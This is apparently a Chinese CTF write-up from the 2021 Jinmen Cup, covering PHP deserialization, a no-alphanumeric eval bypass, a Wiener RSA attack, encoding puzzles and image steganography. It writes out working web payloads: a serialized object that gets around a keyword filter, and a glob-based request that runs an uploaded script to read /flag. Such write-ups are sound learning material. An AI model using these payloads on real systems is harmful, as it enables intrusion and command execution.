# 津门WP

原创

D0gekong 于 2021-05-12 17:20:31 发布 
文章标签： 安全


## 津门杯WP

前言：由于津门和红帽俩比赛撞在一起，就顺便和队友一起打了，但后面专门去红帽了，自己还是好菜，前面的都全A了

### web1 power_cut

打开后显示：昨天晚上因为14级大风停电了.

猜测跟意外关闭后生成的备份文件相关，访问http://119.3.128.126:32800/.index.php.swp

获得文件，vim -r恢复得到源码：

<?php

class logger{

```
  public $logFile;

  public $initMsg;

  public $exitMsg;

  function __construct($file){

      // initialise variables

      $this->initMsg="#--session started--#\n";

      $this->exitMsg="#--session end--#\n";

      $this->logFile =  $file;

      readfile($this->logFile);

  }

  function log($msg){

      $fd=fopen($this->logFile,"a+");

      fwrite($fd,$msg."\n");

      fclose($fd);

  }

  function __destruct(){

      echo "this is destruct";

  }

}
```

class weblog {

```
  public $weblogfile;
  function __construct() {
  $flag="system('cat /flag')";
  echo "$flag";
  }
  function __wakeup(){
      // self::waf($this->filepath);
      $obj = new logger($this->weblogfile);
  }
  public function waf($str){
      $str=preg_replace("/[<>*#'|?\n ]/","",$str);
      $str=str_replace('flag','',$str);
      return $str;
  }
  function __destruct(){
      echo "this is destruct";
  }
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<body>

昨天晚上因为14级大风停电了.

</body>
```

</html>

反序列化考，这里尝试双写绕过，构建反序列化：

```
<?php
class weblog {
  public $weblogfile;
  function __construct() {
      $flag="system('cat /flag')";
      echo "$flag";
  }
  function __wakeup(){
      // self::waf($this->filepath);
      $obj = new logger($this->weblogfile);
  }
  public function waf($str){
      $str=preg_replace("/[<>*#'|?\n ]/","",$str);
      $str=str_replace('flag','',$str);
      return $str;
  }
  function __destruct(){
      echo "this is destruct";
  }}

$a=new weblog();
$a->weblogfile="/flflagag"
print(serialize($a))
```

访问获得flag: http://119.3.128.126:32800/?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}

## web2 hate_php

访问获取源码

```
<?php
error_reporting(0);
if(!isset($_GET['code'])){
```

```
  highlight_file(__FILE__);
```

}else{

```
  $code = $_GET['code'];
  if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
      die('fighting!');
  }
  eval($code);
```

} 起初尝试异或绕过等思路，但后来和队友发现能用的函数基本无，最后还是在队友帮助下找到思路，构造payload:

POST /index.php?code=?><?=`.+/???/?????????[?-[]`;?> HTTP/1.1

Host: 122.112.214.101:20004

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--------------------------154137980517727021713761846 4

Content-Length: 237

Connection: close

Upgrade-Insecure-Requests: 1

----------------------------154137980517727021713761846 4

Content-Disposition: form-data; name="image"; filename="1.txt"

Content-Type: text/plain

#! /bin/sh

cat /flag

------------------------154137980517727021713761846 4--

## crypto1 rsa

签到题 只有e n c三个参数 直接拿网上写好的脚本就可以了

#!/usr/bin/env python2

import gmpy2

```
import time

def continuedFra(x, y):

    cF = []

    while y:

        cF += [x / y]

        x, y = y, x % y

    return cF

def Simplify(ctnf):

    numerator = 0

    denominator = 1

    for x in ctnf[::-1]:

        numerator, denominator = denominator, x * denominator + numerator

    return (numerator, denominator)

def calculateFrac(x, y):

    cF = continuedFra(x, y)

    cF = map(Simplify, (cF[0:i] for i in xrange(1, len(cF))))

    return cF

def solve_pq(a, b, c):

    par = gmpy2.isqrt(b * b - 4 * a * c)

    return (-b + par) / (2 * a), (-b - par) / (2 * a)

def wienerAttack(e, n):
```

```
for (d, k) in calculateFrac(e, n):
    if k == 0: continue
    if (e * d - 1) % k != 0: continue
    phi = (e * d - 1) / k
    p, q = solve_pq(1, n - phi + 1, n)
    if p * q == n:
        return abs(int(p)), abs(int(q))
print 'not find!'
```

time.clock()

c=587037942022177089472842410257313474001802470759682001212270514345882740432737997244844

e=119393861845960762048898683511487799317851579948448252137466961581627352921253771151010

n=143197135363873763765271313889482832065495214476988244056602939316096558604072987605780

```
p, q = wienerAttack(e, n)
print '[+]Found!'
print ' [-]p =',p
print ' [-]q =',q
print ' [-]n =',p*q
d = gmpy2.invert(e,(p-1)*(q-1))
print ' [-]d =', d
print ' [-]m is:' + '{:x}'.format(pow(c,d,n)).decode('hex')
print '\n[!]Timer:', round(time.clock(),2), 's'
print '[!]All Done!'
```

## crypto2 混合编码

这道题比rsa还签到(非密码手觉得)

打开解压后是一串base64直接解码得到

%2F102%2F108%2F97%2F103%2F123%2F113%2F49%2F120%2F75%2F112%2F109%2F56%2F118%2F7

这里的%2f就是url编码，把斜杠转换成这个了，数字不超过128，直接ascii转成字符串就flag

## misc1 bmp

一张bmp格式的图，搜图没结果，扔进010图片也没发现啥问题，winhex扫过一次也感觉没啥，只能Stegsolve勾选rgb的三个0通道，发现最上面有一串base64，解一下就是flag

**总结**

自己还是太菜，web,misc稍微有点难度就思路提醒,遇上现代密码只能当脚本小子，直接投降。不过还是学到了东西，慢慢来（直接md复制的）